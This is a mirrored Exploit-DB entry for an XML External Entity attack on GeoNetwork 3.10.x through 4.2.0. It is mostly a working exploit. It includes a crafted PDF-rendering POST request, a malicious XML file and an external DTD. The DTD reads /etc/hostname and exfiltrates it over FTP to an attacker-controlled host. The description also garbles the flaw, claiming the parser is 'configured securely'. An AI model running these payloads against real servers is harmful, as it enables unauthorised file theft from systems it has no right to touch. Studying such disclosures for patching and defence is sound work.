Geonetwork 4.2.0 – XML External Entity (XXE)

• Exploit Database
• 121 阅读

• 作者： Amel BOUZIANE-LEBLOND
  日期： 2022-07-29
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/50982/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44

  # Exploit Title: Geonetwork 4.2.0 - XML External Entity (XXE) # Date: 2022-July-11 # Exploit Author: Amel BOUZIANE-LEBLOND (https://twitter.com/amellb) # Vendor Homepage: https://geonetwork-opensource.org/ # Version: Geonetwork 3.10.X through 4.2.0 # Tested on: Microsoft Windows Server & Linux   # Description: # GeoNetwork 3.1.x through 4.2.0 # During rendering pdf of map. # The XML parser is now configured securely to validate submitted XML document accepted from an untrusted source, which might result in arbitrary files retrieval from the server.   ====================PDF RENDERING====================   POST /geonetwork/pdf/create.json HTTP/1.1 Host: REDACTED Content-Type: application/json Connection: close Content-Length: 563   {"layout":"landscape","srs":"","units":"m","rotation":0,"lang":"fre","dpi":"190","outputFormat":"pdf","layers":[{"opacity":1,"type":"mapServer","baseURL":"http://attacker/xxe.xml","layers":["Tracts",],   "format":"image/svg+xml","name":"xxe","extent":[-20037508.34,-20037508.34,20037508.34,   20037508.34],   "tileSize":[256,256]}],"enableLegends":true,"hasTitle":true,"hasNoTitle":false,"hasAttribution":false,"pages":[{"center":[172063.3620639667,4200083.030736061],"scale":"2.5E7","dataOwner":"© ","rotation":0,"comment":"ok","title":"ok","langfre":true}]}     The parameters baseURL will be your XML files :   ====================XXE_ATTACK====================   ====================XXE.XML=======================   <!DOCTYPE foo [ <!ENTITY % pe SYSTEM "http://ATTACKER/x.dtd"> %pe; %param1; ]> <foo>&external;</foo>   ====================X.dtd========================= They will call the x.dtd   <!ENTITY % stuff SYSTEM "file:///etc/hostname"> <!ENTITY % param1 "<!ENTITY external SYSTEM &apos;ftp://ATTACKER_FTP/%stuff;&apos;>">